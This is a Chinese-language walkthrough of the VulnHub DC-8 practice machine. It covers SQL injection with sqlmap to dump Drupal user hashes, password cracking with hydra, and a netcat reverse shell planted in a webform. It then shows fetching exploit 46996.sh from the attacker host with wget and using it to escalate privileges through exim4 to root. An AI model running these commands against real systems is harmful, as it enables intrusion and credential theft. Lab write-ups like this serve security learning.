vulnhub dc-8 靶场实战
信息收集
首先当然还是先进行信息收集,先确定IP,arp-scan工具扫一扫
确定ip为: 192.168.48.220
然后就是其他资产进行收集啦
后台目录、服务、端口等等
既然打开了80端口,就去看看有什么可以利用的信息
在这里发现了有参数,那肯定得测试一下是否含有sql注入啦
测试sql注入
加单引号测试一下,的确是存在sql注入
直接拿sqlmap工具跑一跑
查数据库名
查看当前数据库名
1 | sqlmap -u "http://192.168.48.220/?nid=1" --risk=3 --level=5 --random-agent --current-db |
数据库名为d7db
查表名
接下来继续注入看看有哪些表
1 | sqlmap -u "http://192.168.48.220/?nid=1" --risk=3 --level=5 --random-agent -D d7db --tables |
爆破出了很多的表,当然最想看到的是与user关键字有关的表啦,这里发现了一个users表
查字段名
继续注入,看看这个表里的字段有哪些
1 | sqlmap -u "http://192.168.48.220/?nid=1" --risk=3 --level=5 --random-agent -D d7db -T users --columns |
好家伙,16个字段
查字段内容
我想看的字段内容那肯定是login,name,pass这三个字段,拿它账号密码
1 | sqlmap -u "http://192.168.48.220/?nid=1" --risk=3 --level=5 --random-agent -D d7db -T users -C login,name,pass --dump |
爆破密码
把密码保存到txt,然后拿hydra 去跑一下
结果只跑出来了一个密码 turtle,不知道是哪个用户的密码, 所以这两个用户都去试一下,发现是john用户的密码
之前已经用dirb 工具扫描出了后台,在robots.txt文件也能看见后台路径
反弹shell
登录成功,然后创建一个webform
输入标题 shell
然后点击Form settings 来设置文章内容
要记得先设置文章的格式为PHP,再写文章内容
写入nc连接shell,我换了一个网,所以这里IP和上面截图里的不一样了
1 | success |
然后保存这个网页内容,先让kali监听8888端口
然后访问shell标题的这篇文章,你会发现kali没反应,没连上,这是啥原因呢
特么的然后我又创建了一篇文章,还是不行,然后发现自带的Contact Us页面可以修改,然后我试了一下
访问Contact Us页面
发现还是没有连接上,然后想了半天,发现这里有 Start 和 Complete
应该是要输入信息,然后提交,才会是真正访问这个页面吧
然后提交这个邮件信息后,发现连上了
接下来开始拿交互式shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
提权
这些txt文件都看了,没有什么有用的信息
反正接下来是提权,msf搜了一下drupal的漏洞,试了一下,没有成功
都试过了,没有成功
也看了内核版本等信息,没有发现相关的漏洞
接下来利用suid提权
1 | find / -user root -perm -4000 -print 2>/dev/null |
发现了一个邮件传输代理exim4
上msf搜一下
都试了,没成功
在searchsploit 里搜到了
把这个sh脚本使用nc工具传过去,发现又失败了,传不过去
只好打开了kali的http服务
1 | apache2 start.server |
然后把 46996.sh文件放在kali的/var/www/html/里面,再让靶机用wget命令去下载这个文件
1 | wget http://192.168.123.224/46996.sh |
会发现下载失败,因为没有权限,所以还是去/tmp目录下下载
然后给权限
1 | chomd 777 46996.sh |
发现执行还是会失败,然后分析了一下46996.sh源码,原来是有两种模式,默认的那种失败了,我们用第二种模式
1 | ./46996.sh -m netcat |
等待5秒
提权成功,拿到flag